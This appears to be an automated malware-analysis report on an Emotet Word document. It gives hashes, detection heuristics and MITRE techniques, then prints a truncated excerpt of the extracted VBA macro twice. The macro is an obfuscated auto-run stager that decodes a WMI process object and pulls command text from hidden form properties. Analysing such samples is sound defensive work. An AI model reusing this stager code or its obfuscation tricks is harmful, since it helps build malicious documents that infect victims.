Emotet Office (OLE) malware analysis — malicious · 5f0f010296e1e7a3

MALICIOUS

Office (OLE)

196.8 KB Created: 2020-07-17 13:04:00 Authoring application: Microsoft Office Word First seen: 2020-09-24

MD5: 44128b2abb0da6294a10ec851e6975d9 SHA-1: 6058ae533d3ca8498c6dc4d2f93728d493c787ef SHA-256: 5f0f010296e1e7a326946c127d5305a3a343393b152e146b630fbe76cf6da98b

262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. This macro utilizes 'CreateObject' and appears to be a stager designed to download and execute a secondary payload, consistent with Emotet's typical behavior. ClamAV detection further confirms its malicious nature as 'Doc.Downloader.Emotet-10022426-0'.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-10022426-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-10022426-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 66393 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	66393 bytes
SHA-256: `acf9df3979ef7ab2005685dcd96377539b8c506bc864a7c5cafded38196112e3`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "seachcheoskeusgeon" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() bauysoahxaovjiax End Sub Attribute VB_Name = "vethjuuj" Attribute VB_Base = "0{F65C9039-99D4-407E-9495-88CF7A9895FE}{14094D38-2C39-4F4B-8986-3EA9B575B8F3}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "tochtheyheoh" Function bauysoahxaovjiax() quiedyaunchej = Chr(vethjuuj.Zoom + 1 + 4 + 10) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If thaokmiac = "6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDw6723tguT&^$^RFy23uikJGDi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn6723tguT&^$^RFy23uikJGDm6723tguT&^$^RFy23uikJGDg6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDmt6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + quiedyaunchej + ":6723tguT&^$^RFy23uikJGDwi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn36723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD26723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD_6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + vethjuuj.xiebquuagqueagfuwteag + "r6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDo6723tguT&^$^RFy23uikJGDce6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD" bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If roodzozcob = yanbeuqutoumkaojxib(thaokmiac) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If Set cheithchaunpiejloizvar = CreateObject(roodzozcob) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If ruadleofkooy = vethjuuj.queabvoijsiextauh.ControlTipText bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50 ... (truncated)

SHA-256: acf9df3979ef7ab2005685dcd96377539b8c506bc864a7c5cafded38196112e3

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "seachcheoskeusgeon"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
bauysoahxaovjiax
End Sub

Attribute VB_Name = "vethjuuj"
Attribute VB_Base = "0{F65C9039-99D4-407E-9495-88CF7A9895FE}{14094D38-2C39-4F4B-8986-3EA9B575B8F3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "tochtheyheoh"
Function bauysoahxaovjiax()
quiedyaunchej = Chr(vethjuuj.Zoom + 1 + 4 + 10)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
thaokmiac = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + quiedyaunchej + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + vethjuuj.xiebquuagqueagfuwteag + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
roodzozcob = yanbeuqutoumkaojxib(thaokmiac)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
Set cheithchaunpiejloizvar = CreateObject(roodzozcob)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
ruadleofkooy = vethjuuj.queabvoijsiextauh.ControlTipText
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.